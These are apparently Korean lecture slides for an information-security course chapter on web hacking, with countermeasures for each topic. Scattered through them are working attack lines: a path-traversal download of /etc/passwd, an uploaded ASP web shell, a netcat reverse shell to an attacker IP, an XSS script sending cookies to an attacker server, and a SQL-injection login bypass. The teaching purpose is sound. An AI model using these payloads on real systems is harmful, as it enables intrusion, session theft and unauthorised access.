정보보안개론 5 장
이장에서다룰내용 1 1 2 2 3 3 4 2 5 3 6 2 HTTP 프로토콜의동작원리를이해한다. 구글과같은검색엔진을통해정보를수집하는방법을알아본다. 웹해킹에서파일접근과관련된공격을살펴본다. 리버스텔넷을이해한다. 웹에서의인증의구조와이를우회하는방법을알아본다. 패킷변조를통해가능한공격을살펴본다. 7 XSS 공격및 SQL 삽입공격을살펴본다.
Section 01 인터넷의역사 v 처음에는대학에서연구실간데이터전송을위해, 단순히하나의시스템과다른하나의시스템간의통신을위한프로토콜을만듦. v 프로토콜을해석한후이를다른프로토콜로바꾸어다른시스템으로전송해주는장치인게이트웨이 (Gateway) 가개발됨. v 1969년에는미국방부산하고등연구계획국 ARPA(Advanced Research Projects Agency) 에의해전세계주요거점을연결하는네트워크가만들어짐. 이네트워크를알파넷이라부르는데, 흔히들이알파넷을인터넷의시작이라고칭함. v 1994년한국통신이카이스트와연구기관등에학술교육 / 정보교류용으로제공한 하나망 을일반에개방하여코넷 (KORNET) 을시작함으로써인터넷에첫발을내딛게됨. v WWW(World Wide Web) 는세계규모의거미집또는거미집모양의망이라는뜻으로흔히들짧게 웹 이라고읽는데, 1989년스위스제네바에있는유럽원자핵공동연구소 (CERN) 에서근무하던팀버너스리 (Tim Berners Lee) 에의해연구목적의프로젝트로시작됨.
Section 01 인터넷의역사 v WWW 프로젝트의목적은전세계에흩어져있는종업원및연구자와연구결과나아이디어를공유할수있는방법을모색하는데있었음. 처음계획할무렵에는웹을 Hyper Text Project 라고명명하였음. v Hyper Text 는 60년대에테드넬슨이만든신조어로써다른문서와연관관계를가지는텍스트를뜻함. Hyper Text를이용하면단어나문구를마우스로클릭해서관련주제에대한정보를추가로얻을수있다. 현재웹문서로가장흔히쓰이는 HTML(Hyper Text Markup Language) 은이 Hyper Text를효과적으로전달하기위한스크립트언어. v 웹에접근하기위해서는웹브라우저인모자이크의경우 1992년배포되었고, 글자위에서마우스버튼을클릭할수있는하이퍼링크 (Hyper Link) 가처음구현됨. 또한인터넷초기에붐을일으킨촉발제역할을함. 1994년에발표된네스케이프네비게이터는인터넷의대중화에기여했지만현재는사라짐.
HTTP v HTTP(Hypertext Transfer Protocol) 0.9 버전부터사용되었다. 0.9 버전은서버로부터의단순읽기기능만지원. 클라이언트가웹브라우저를이용해서버에연결을요청한다. 연결요청을받은서버는그클라이언트에대해서비스를준비한다. 서버가준비상태가되면 (➊), 클라이언트는읽고자하는문서를서버에요청한다 (➋). 서버는웹문서중클라이언트가요청한문서를클라이언트에전송하고 (➌) 연결을끊음 (➍). 0.9 버전은하나의웹페이지안에서도텍스트와그림마다 Connect 과정을반복해서거쳐야했기때문에무척비효율적임.
HTTP v Request 패킷 웹서버에데이터를요청할때보내는패킷으로, GET/POST/HEAD 등의메소드가있음. www.wishfree.com/list.php?page=1&search=test GET 메소드 : 가장일반적. 웹브라우저에다음과같이요청데이터에대한인수를 URL(Uniform Resource Locator) 을통해전송. POST 메소드 : GET과함께가장많이쓰임. URL에요청데이터를기록하지않고소켓을이용해데이터를전송. 따라서 POST 방식에서는위예의?page=1& search= test 와같은부분이존재하지않음. POST 방식에서는인수값을 URL을통해전송하지않기때문에다른이가링크를통해해당페이지를볼수없음. 따라서접근이자유롭지못하고, 웹브라우저의 < 뒤로 > 버튼을클릭하면 POST의버퍼부분이사라져 새로고침 경고문구가뜨는단점이있음. 그러나파일업로드는 POST로만할수있으며, GET과는달리보내려는데이터가 URL을통해서노출되지않기때문에보안면에서매우중요함. 또한 GET 방식은보낼수있는데이터의크기가최대 4KB이지만, POST 방식은제한이없음. 일반적으로게시판의목록이나글보기화면은접근자유도를부여하기위해 GET 방식을사용하고, 글저장 / 수정 / 삭제등은보안등을위해서는 POST 방식을사용.
HTTP v Response 패킷 클라이언트의 Request에대한응답패킷. 담겨있는주요내용으로는서버에서쓰이고있는프로토콜버전, Request에대한실행결과코드 (200) 및설명문 (OK) 이있으며, 전달할데이터의형식과데이터길이등과같은추가정보가 MIME 형식으로표현되어있음. 헤더정보뒤에는실제데이터 (HTML이나그림파일 ) 가전달됨. 데이터전달이끝나면서버는연결을끊음.
웹서비스 v HTML(Hyper Text Markup Language) 가장단순한형태의웹언어. 웹서버에 HTML 문서를저장하고있다가클라이언트가특정 HTML 페이지를요청하면해당 HTML 문서를클라이언트로전송해주는데, 이런웹페이지를정적인 (Static) 웹페이지라고함. 클라이언트의웹브라우저를통해웹서버의무엇인가를바꿀수있는가능성이매우낮기때문에웹을이용한공격이매우어려움.
웹서비스 v SSS (Server Side Script) ASP(Active Server Page), JSP( Java Script Pages) 와같은언어가개발됨. ASP나 JSP와같은동적인페이지를제공하는스크립트를 SSS(Server Side Script) 라함. 스크립트에HTML 확장자대신 ASP 또는 JSP의확장자를가진웹문서를요청하면 ASP는 DLL이나OCX 같은파일을이용해, JSP는서블릿을이용해요청을처리. 그런다음그결과를 HTML 파일로만들어클라이언트에전송.
웹서비스 v CSS (Client Side Script) 웹서비스에이용되는스크립트에는자바스크립트 ( JavaScript) 나비주얼베이직스크립트 (Visual Basic Script) 등이있음. 이들은서버가아닌클라이언트측의웹브라우저에의해해석되고적용되는데, 이를 CSS(Client Side Script) 라함.
Section 03 정보수집과구글해킹 v 웹사이트에대한정보수집 웹해킹의첫번째는웹사이트의정보를수집하는것. 홈페이지에서게시판이나자료실, 로그인부분이있는지, 또는홈페이지파일의확장자가 ASP인지 JSP나 PHP인지를확인. 파일확장자만으로도시스템이윈도우기반인지유닉스기반인지유추할수있고, 이를바탕으로웹서버의정보수집과취약점분석을위한범위를좁힐수있음.
웹사이트에대한정보수집 v 웹프록시 PAROS 를이용한정보수집 웹프록시 PAROS의인터페이스 오른쪽위에는웹서버에대한요청 (Request), 응답 (Response), 현재붙잡고있는 (Trap) 창이나타난다. Trap에서는아래쪽의 Trap request와 Trap response 항목을체크해야해당패킷을붙잡아보는것이가능.
웹사이트에대한정보수집 웹프록시 PAROS 사용을위한브라우저설정 [ 도구 ]-[ 인터넷옵션 ]-[ 연결 ]-[LAN 설정 ] 에서프록시서버를다음과같이설정해주어야함. 127.0.0.1을흔히루프백 (Loopback) 주소라하는데, PC 자기자신을가리킨다. 8080은 Paros의서비스포트임.
웹사이트에대한정보수집 PAROS 를이용한취약점수집.
웹사이트에대한정보수집 Paros 의 Spider 기능을이용해웹서버의구조정보를수집.
웹사이트에대한정보수집 v OWASP(Open Web Application Security Project) 에서는주요웹취약점을매년발표하고있음.
구글해킹 v 구글해킹 웹해킹을하면서많은정보를수집하는유용한방법이검색엔진을이용하는것임. 흔히이러한정보수집방법으로구글을사용. 구글에서제공하는고급검색기능
구글해킹 v Site 특정사이트만을집중적으로선정해서검색할때유용. wishfree.com 도메인이있는페이지에서 admin 문자열을찾으라는예 site:wishfree.com admin v Filetype 특정파일유형에대해검색할때사용. 검색어로파일확장자가 txt 이고패스워드라는문자열이들어간파일을검색한화면 filetype:txt 패스워드
구글해킹 v link 특정링크가포함되어있는페이지를검색할때사용. 예를들어, link:www.wishfree.com 이라고입력해검색하면 www.wishfree.com 주소를링크하고있는웹페이지를검색 v cache 구글에서백업해둔페이지의정보를보고자할때사용. cache:wishfree. com 과같이검색하면구글에저장된페이지를보여줌. 관리자가자신이관리하는웹의취약점을확인하여이를수정하더라도, 가끔검색엔진에의해백업된데이터에취약점정보가남는경우가있기때문에관리자도검색엔진에백업된자신의사이트를한번쯤살펴볼필요가있음. 노출되면안되는정보가백업되어있을경우에는이를삭제해달라고정식으로요청해야함.
구글해킹 v intitle 디렉토리리스팅취약점이존재하는사이트를쉽게찾을수있음 intitle:index.of admin v inurl site 와기능이유사. inurl:login inurl:wishfree.com 과같이검색하면 URL 에 wishfree.com 과 login 이라는문자열을모두포함하는사이트를검색.
구글해킹 v 검색엔진의검색을피하는방법 서버의홈디렉토리에 robots.txt 파일을만들어검색할수없게만듬. http://www.wishfree.com/robots.txt 파일이있으면구글검색엔진은 robots.txt에있는디렉토리는검색하지않음. robots.txt 파일은 Useragent와 Disallow를이용. User-agent는구글검색엔진으로부터의검색을막기위해서다음과같이사용. User-agent: googlebot 모든검색로봇으로부터검색을막으려면아래와같이입력 User-agent: * Disallow 필드는특정파일이나디렉토리를로봇이검색하지못하도록설정. dbconn.ini 파일을검색하지못하도록하려면 robot.txt 파일에다음과같이입력. Disallow: dbconn.ini 다음과같이입력하면 admin 디렉토리에접근하지못함. Disallow: /admin/
구글해킹 v http://www.whitehouse.gov/robots.txt
Section 04 파일접근 v 디렉토리리스팅 웹브라우저에서웹서버의특정디렉토리를열면그디렉토리에있는파일과디렉토리 목록이모두나열되는것
Section 04 파일접근 v 디렉토리리스팅 화면에보이지않는여러웹페이지를클릭하나만으로도직접접근할수있음.
Section 04 파일접근 v 임시 / 백업파일접근 상용프로그램을이용한편집은확장자가 bak이나 old인백업파일을자동으로생성. 또한이러한백업파일들은서버측에서실행되고결과만웹페이지로보여주는 ASP, JSP 파일과는달리클라이언트가그파일을직접다운로드받을수있게해줌. 다운로드한소스파일에는서버의로직뿐만아니라네트워크정보등다양한정보가있을수있고, 대부분의웹스캐너는이러한파일을자동으로찾을수있음. 상용에디터등을이용해웹소스를직접편집하는것을금함. v 파일다운로드 파일을다운로드할때가장많이쓰이는방법은웹서버에서제공하는파일다운로드페이지를이용. 정상적인경우 http://www.wishfree.com/board/download.jsp?filename= 사업계획.hwp 게시판에서글목록을보여주는 list.jsp 파일이 http://www.wishfree.com/ board에위치한다면주소창에다음과같이입력하여다운로드가능. http://www.wishfree.com/board/download.jsp?filename=../list.jsp
Section 04 파일접근 v 파일다운로드 파일시스템에서. 은현재디렉토리를,.. 은상위디렉토리를의미. 공격자가 filename 변수에../list.jsp 라고입력하면, 이것은다운로드가기본적으로접근하는 /board/upload 디렉토리의바로상위디렉토리에서 list.jsp를다운로드하라는의미.
Section 04 파일접근 v 파일다운로드 /board/admin 디렉토리에있는 adminlogin.jsp 를다운로드하려면다음과같이입력. http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp download.jsp 파일자신도다음과같이다운로드할수있음. http://www.wishfree.com/board/download.jsp?filename=../download.jsp 시스템내부의중요파일도위와같은방법으로다운로드를시도. 유닉스시스템의경우 /etc/passwd와같이사용자계정과관련된중요파일을다음과같은형태로시도해볼수있음. http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc/passwd
Section 04 파일접근 v 파일업로드 시스템내부명령어를실행시킬수있는웹프로그램 (ASP나 JSP, PHP) 을제작하여자료실과같은곳에공격용프로그램을업로드하는공격방식. 이공격용프로그램은웹에서브라우저를이용해접근하면시스템내부명령어를실행시킬수있음. 웹에서명령을입력할수있도록만든 cmdasp.asp라는프로그램을게시판에업로드.
Section 04 파일접근 v 파일업로드 취약점 asp 확장자를가진파일이아무런필터링없이업로드된다는취약점이존재. 업로드를할때는파일확장자를체크해야하고, 시스템에서는 asp나 jsp 같은대소문자의혼합도인식하기때문에가능한조합을모두필터링해야함. 반대로특정확장자를가진파일만업로드하도록설정하는방법도있음. 필터링수행시자바스크립트와같은클라이언트측스크립트언어로필터링하면안됨. 클라이언트측스크립트언어는공격자가수정할수있기때문에ASP나 JSP 같은서버측스크립트언어에서필터링해야함. 첨부파일에마우스를가져가면브라우저의아래쪽에 http://192.168.61.128/bbs/upload/cmdasp.asp와같이파일이업로드되어있는경로가나타남. 이경로정보는공격자에게매우중요하기때문에웹브라우저에서도웹프록시를통해노출되면안됨. 저장파일이름이아무런변환없이그대로저장된다는것이다. 웹서버에악성파일이업로드되어도해당파일을찾을수없게파일이름과확장자를변환시켜저장하면훨씬높은수준의보안성을확보할수있음.
Section 04 파일접근 v 파일업로드 명령창을실행시키기위한 cmdasp.asp의주소 (http://192.168.61.128/bbs/upload/cmdasp.asp) 를웹브라우저주소창에직접입력하여실행하면웹브라우저에입력창과 <Run> 이라는버튼을확인할수있다. 다음그림은명령을입력하는입력란에 dir c:\ 를입력하고, <Run> 버튼을누른결과다. dir c:\ 명령을실행한결과로, C 드라이브에존재하는디렉토리와파일명을확인할수있음.
Section 05 리버스텔넷 v 일반적으로웹서버는방화벽내부에존재. 그리고웹서버는 80번포트를이용한웹서비스만제공하면되기때문에, 방화벽은외부인터넷을사용하는사용자에대해 80포트만을허용. 이런경우에는웹서버의텔넷 (Telnet) 이열려있어도방화벽으로인해공격자가외부에서접근할수없음.
Section 05 리버스텔넷 v 리버스텔넷 심화된공격을하기위해서는텔넷과유사한접근권한을획득하는것이매우중요. 방화벽에서인바운드정책 ( 외부에서방화벽내부로들어오는패킷에대한정책 ) 은 80번포트외에필요한포트만빼고다막아놓지만아웃바운드정책 ( 내부에서외부로나갈때에대한정책 ) 은별다른필터링을수행하지않는경우가많음. 리버스텔넷은이런허점을이용.
Section 05 리버스텔넷 v 리버스텔넷실행과정예 ➊ 명령창획득 : 파일업로드등을통해공격자가명령을입력할수있는명령창을획득. ➋ 리버스텔넷용툴업로드 : nc 와같은리버스텔넷용툴을서버게시판의파일업로드기능을이용해업로드. ➌ 공격자 PC 리버스텔넷데몬 (daemon) 활성화 : 서버에서리버스텔넷을보내면이를받아텔넷을열수있도록리버스텔넷툴을다음과같이실행. nc -l -p 80
Section 05 리버스텔넷 ➍ 획득한명령창을통해공격자에게리버스텔넷을보내줌. 이때, 업로드한 nc 파일이위치한전체경로를입력해주어야함. 이때공격자 IP 는 192.168.61.1 c:\inetpub\wwwroot\bbs\upload\nc -e cmd.exe [ 공격자 IP] 80 ➎ 리버스텔넷창을획득. IP 가웹서버의 192.168.61.128 로바뀐것을확인할수있음
Section 05 리버스텔넷 v 리버스텔넷예 v 리버스텔넷예방법 파일업로드를먼저막아야함. asp뿐만아니라리버스텔넷툴같은것을실행하지못하도록 exe나 com 같은실행파일도업로드를못하게해야함. 또한외부에서내부로의접속뿐만아니라내부에서외부로의불필요한접속도방화벽으로막는것이좋음.
Section 06 인증우회 v 인증우회 관리자페이지나인증이필요한페이지에대한인증미처리로인해인증을우회하여접속할수있게되는취약점. 이취약점에노출되면일반사용자나로그인하지않은사용자가관리자페이지에접근하여관리자권한의기능을악용할수있음. v 인증우회의예 관리자로로그인해서관리자용웹페이지에접속할수있어야하는데, 로그인을하지않고도관리자용웹페이지에서특정작업을직접수행할수있는것 www.wishfree.com/admin/login.asp를통해관리자로로그인한후에야 www. wishfree.com/admin/boardadmin.asp에접근할수있어야하는데, 관리자로로그인하지않은채로 www.wishfree.com/admin/boardadmin.asp 에바로접근해게시판을관리하는경우. v 인증우회의보안책 인증우회를막기위해서는웹에존재하는중요페이지에세션값 ( 쿠키 ) 을확인하도록 검증로직을입력해두어야함
Section 07 패킷변조 v 서버에서클라이언트로전송되는패킷변조 웹사이트가언어로개발됐든지웹프록시를통해서확인하는것은 HTML. 테스트환경으로사용하는웹페이지의게시판에서하나의글에대한열람을시도. test 라는제목을클릭하면다음과같은내용을확인할수있음.
Section 07 패킷변조 웹프록시를이용해내용을변조. 인터넷익스플로러에프록시설정을하고게시판글목록에서웹프록시에서 Trap을건후글열람. 다음과같이해당글에대한열람을시도하는패킷이서버에최초로전송됨을확인할수있음. GET 을통해서 /bbs/board_view.asp?num=3, 즉게시판의 3 번째글을보여줄것을 서버에요청.
Section 07 패킷변조 응답패킷에서 test 라고입력된제목과본문을확인할수있음.
Section 07 패킷변조 test 라고된내용을 What a amazing day! 로바꾸어입력.
Section 07 패킷변조 바뀐결과확인.
Section 07 패킷변조 v 서버에서전달되는패킷변조를통한공격유형 클라이언트에해킹하고자하는대상이있는경우. 웹브라우저내용만바꾸었지만실제로는 Active X 등의형태로여러프로그램이클라이언트에설치되어웹서비스를제공하는경우가많음. 이때클라이언트에설치된서비스프로그램을속이는것이가능. 서버에서클라이언트에정보를전송했다가이를다시전송받아처리하는경우. 예를들면서버에서변수 A의값이 20 임을확인하고이값을클라이언트에전송. 그리고서버는전송한변수 A가필요할때자신의데이터베이스에서다시읽지않고, 클라이언트가관련서비스수행할때서버에다시전송해주는 A 값을참조하여서비스를수행하는경우.
Section 07 패킷변조 2 단계에서 A=40 이라고바꾸어전송하면 A 값이다음과같이흘러감. v 패킷변조예 건망증이심한여자친구를속여돈을 빼앗는못된남자의이야기
Section 07 패킷변조 v 클라이언트에서서버로전송되는패킷변조 앞서 test 라는글을열람할때와똑같은상황에서이번에는 /bbs/board_view.asp? num=3 에서글번호인 3 을 4 로바꾸어봄.
Section 07 패킷변조 그결과는게시판에서 4 번째글을클릭했을때와같음. 클라이언트에서서버로전송되는패킷을변조하는것은일반적인웹서비스의메뉴상 접속할수없는것에접근하거나특정한값을넣어시스템의오작동을유도하기위한 목적으로사용.
Section 07 패킷변조 그결과는게시판에서 4 번째글을클릭했을때와같음. 클라이언트에서서버로전송되는패킷을변조하는것은일반적인웹서비스의메뉴상 접속할수없는것에접근하거나특정한값을넣어시스템의오작동을유도하기위한 목적으로사용.
Section 08 XSS v XSS 'Cross Site Scripting' 의약자로줄여서 CSS라고도부르나웹에서레이아웃과스타일을정의할때의사용되는캐스케이딩스타일시트 (Cascading Style Sheets) 와혼동되어일반적으로 XSS라고함. XSS는과부하를일으켜서버를다운시키거나요즘문제가되는피싱 (Phishing) 공격의일환으로사용되기도하지만가장일반적인목적은웹사용자의정보추출. v 쿠키 (COOKIE) 1994년네스케이프에의해처음사용된기술로, 사용자들이웹사이트를세션을유지하면서편리하게이용할수있도록하기위해만들어짐. 쿠키는사용자가인터넷웹사이트에방문할때생기는 4KB 이하의파일. 클라이언트가웹사이트에방문하면접근기록이클라이언트에파일로남고, 이파일은사용자와웹사이트를연결해주는정보를담고있음. 쿠키의예 Set-Cookie: Name=Value; expires=date; Path=PATH; domain=domain_name: Secure
Section 08 XSS C:\Document and Settings\ 사용자이름 \Cookies 에서여러분이인터넷을이용할때만들어진쿠키를확인할수있음. 쿠키파일은같이 사용자이름 @ 접속한사이트 형태로구성됨. 그내용은웹사이트나상황에따라다르지만쿠키를만든사이트의도메인이름, 그사이트를구분하는숫자, 쿠키의만기일과같은정보로이루어져있음.
Section 08 XSS v 쿠키의용도 사이트개인화 장바구니시스템 웹사이트이용방식추적 타겟마케팅 v 쿠키에관한오해 쿠키가바이러스를전파한다? 쿠키는사용자컴퓨터에피해를입힌다? 특정웹사이트가저장한쿠키를다른웹사이트에서도읽어들일수있다?
Section 08 XSS v XSS 공격의실제 정상적인게시판의글작성과열람
Section 08 XSS XSS 테스트코드를게시판의본문에입력. <script>alert(document.cookie)</script>
Section 08 XSS XSS 테스트코드를입력한게시판글열람 해당글의내용이보이지않고스크립트가실행. 화면에뿌려지는것은현재사용자의쿠키값임.
Section 08 XSS XSS 를이용한쿠키획득 <script>url="http://192.168.1.10/getcookie.asp?cookie ="+document.cookie;window.open(url,width=0, height=0);</script> 코드는게시판을열람할때사용자의쿠키정보가해커의웹서버 (192.168.1.10) 로전송되게함. 물론글을읽는사람에게는다음과같이본문외의내용은보이지않음.
Section 08 XSS 메일서비스를이용한 XSS 공격 XSS 공격은메일과같이특정인에게정보를발송하는경우에도가능. 메일의본문에 XSS 공격코드를입력한후이를특정인에게보내메일을이용하는사람의세션정보를담고있는쿠키값을공격서버에전송하도록함.
Section 08 XSS XSS 를이용한 DoS 공격 XSS 문으로쿠키값을알아내는앞의스크립트가아닌취약페이지를재참조하는 스크립트를입력하면 XSS 취약점이있는페이지에서무한루프가발생할수있음. XSS 공격에대한대응책 이러한 XSS 공격을차단하는방법은특수문자에대한필터링을철저히하여 XSS 와같은 스크립트코드가실행되지않도록하는것임.
Section 09 SQL 삽입공격 v SQL 문에대한이해 MS-SQL 2000 의쿼리분석기 왼쪽에는지금까지우리가이용한서버의데이터베이스목록이존재. 마지막에웹서버와연동되는 web이라는데이터베이스가위치하고있음. 그리고게시판테이블인 board와사용자정보테이블인 member, 우편번호정보가들어있는 zipcode는필자가생성한테이블을확인할수있음.
Section 09 SQL 삽입공격 Member 테이블정보확인 select user_id from member
Section 09 SQL 삽입공격 웹로그인시의 SQL 문 웹에서사용자가 ID와패스워드입력창에자신의 ID와패스워드를입력하면, 다음과같은 SQL 문이작성되어데이터베이스에전송됨. select user_id from member where user_id =' 입력된아이디 ' AND user_pw=' 입력된패스워드 ' select user_id from member where user_id ='wishfree' AND user_pw='dideodlf
Section 09 SQL 삽입공격 잘못된패스워드입력 select user_id from member where user_id ='wishfree' AND user_pw='did'
Section 09 SQL 삽입공격 실제웹로그인소스 Qeury = "SELECT user_id FROM member WHERE user_id = '"&struser_id&" ' AND password = ' '&strpassword&" ' " strauthcheck = GetQueryResult(Query) If strauthcheck = " " then boolauthenticated = Fasle Else boolauthenticated = True EndIf SQL 삽입공격은어떤수단을쓰든 SQL 의결과값이 NULL 이나오지않게, 즉출력값이 사용자 ID 가되도록하여로그인하는것. 조건값에 ' or ''=' 을입력하면 where 로입력되는조건문을항상참으로만들수있음.
Section 09 SQL 삽입공격 SQL 삽입공격공격확인 SELECT user_id FROM member WHERE user_id = '' or ''='' AND user_pw = '' or ''=''
Section 09 SQL 삽입공격 웹에서잘못된패스워드입력시 웹에서 SQL 삽입공격시
Section 09 SQL 삽입공격 SQL 문이결과적으로참이될수있다면 SQL 삽입공격에사용되는 SQL 문은 무엇이라도상관없음. 이러한 SQL 삽입공격은로그인뿐만아니라웹에서사용자의입력값을받아 데이터베이스에 SQL 문으로데이터를요청하는모든곳에가능. SQL 삽입공격을막는방법은사용자가입력창을통해서 SQL 문을완성하여 데이터베이스에전송할때이입력값중에특수문자가존재하는지여부를필터링하는것.
요약 v 인터넷의역사 1969년미국방부산하고등연구계획국 ARPA(Advanced Research Projects Agency) 에의해전세계주요거점을연결하는네트워크구성 1989년스위스제네바에있는유럽원자핵공동연구소 (CERN) 에서근무하던팀버너스리 (Tim Berners Lee) 가WWW 프로젝트시작 v HTTP GET: 요청데이터에대한인수를 URL(Uniform Resource Locator) 을통해전송한다. 보낼수있는데이터의최대크기는 4KB이다. POST: URL에요청데이터를기록하지않고소켓을이용해데이터를전송한다. v 웹언어 SSS(Server Side Script): ASP나 JSP와같은동적인페이지를제공한다. 확장자가 asp나 jsp인웹문서를요청하면서버가 asp는 DLL이나 OCX와같은파일을이용, jsp는서블릿을이용해그요청을처리한결과를 HTML 파일로만들어클라이언트에전송한다. CSS(Client Side Script): 웹서비스에이용되는스크립트로, 자바스크립트나비주얼베이직스크립트, JScript 같은것이있다. 서버가아닌클라이언트측의웹브라우저에의해해석되고적용된다.
요약 v 구글해킹 v 파일접근 디렉토리리스팅 : 특정디렉토리를브라우저에서열람했을때디렉토리에있는모든파일이나타나는문제점, 예방책은웹서버의설정을수정하거나패치수행 임시 / 백업파일접근 : old, bak 등의임시및백업파일들을접근하여다운로드 파일다운로드 : 웹에서제공하는파일다운로드서비스를이용해임의의파일다운로드 파일업로드 : 매우간단하면서도효과가큰공격으로공격용프로그램을게시판이나자료실에있는파일첨부기능을이용하여공격하는방법. 대응책은파일의확장자를서버스크립트언어에서필터링수행
요약 v 리버스텔넷 (Reverse Telnet) 웹해킹을통해시스템의권한을획득한후해당시스템에텔넷과같이직접명령을입력하고확인할수있는쉘을획득하기위한방법. 공격대상인서버에서공격자인클라이언트로텔넷접속을넘겨주는방식으로텔넷연결을생성한다. v 인증우회 로그인과정을거치면사용자세션이생성되는데, 세션체크가지속적으로이루어지지않아임의의페이지에인증을거치지않고접근이가능한취약점. 대응책은관리자페이지에세션검증로직삽입하는것이다. v 패킷변조 클라이언트와서버사이에전송되는패킷을변조하는것이다. v XSS 웹사이트가사용자의입력값을받을때특정악성스크립트가실행되어사용자의쿠키값과같은중요정보가공격자에게추출당하는취약점. 대응책은사용자의입력값에대한적절한필터링을수행하는것이다. v SQL 삽입공격 데이터베이스와연동되는입력란에공격자가원하는 SQL 문을삽입하여공격. SQL 삽입공격을통해공격자는로그인인증을우회하거나다른테이블의내용을열람가능. 대응책은사용자의입력을받아데이터베이스와연동하는부분은특수문자등의입력값을필터링하는것이다.
67 정보보안개론 5 장끝